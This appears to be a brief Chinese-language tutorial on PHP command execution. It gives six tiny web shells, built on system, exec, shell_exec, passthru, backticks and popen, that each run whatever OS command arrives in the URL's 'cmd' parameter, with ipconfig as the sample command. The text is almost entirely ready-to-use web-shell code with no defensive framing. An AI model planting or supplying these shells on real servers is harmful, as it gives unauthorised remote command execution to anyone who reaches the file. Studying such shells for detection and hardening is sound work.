命令注入

利用php文件进行命令注入的几种方法（添加参数可执行DOS命令）：

1.system()

system.php

<meta charset='gb2312'>
<?php
if(isset($_GET['cmd'])){
    echo "<pre>";
    system($_GET['cmd']);
}?>

URL中接入?cmd=DOS命令
例：?cmd=ipconfig //查看IP

2.exec()

exec.php

<meta charset="gb2312">
<?php
if(isset($_GET['cmd'])){
    echo "<pre>";
    print exec($_GET['cmd']);
}?>

URL中接入?cmd=DOS命令
例：?cmd=ipconfig //查看IP

3.shell_exec()

shell_exec.php

 <?php
if(isset($_GET['cmd'])){
    print shell_exec($_GET['cmd']);
}?>

URL中接入?cmd=DOS命令
例：?cmd=ipconfig //查看IP

4.passthru()

passthru.php

<?php
if(isset($_GET['cmd'])){
    passthru($_GET['cmd']);
}?>

URL中接入?cmd=DOS命令
例：?cmd=ipconfig //查看IP

5.反引号

``.php

<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    print `$cmd`;
}?>

URL中接入?cmd=DOS命令
例：?cmd=ipconfig //查看IP

6.popen()
popen() 这是返回文件指针，需要用>>导入到一个文件中，此代码中导入到了1.txt中，命令执行后需查看1.txt文件

popen.php

<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'].">> 1.txt";
    popen($cmd,'r');
}?>

URL中接入?cmd=DOS命令
例：?cmd=ipconfig //查看IP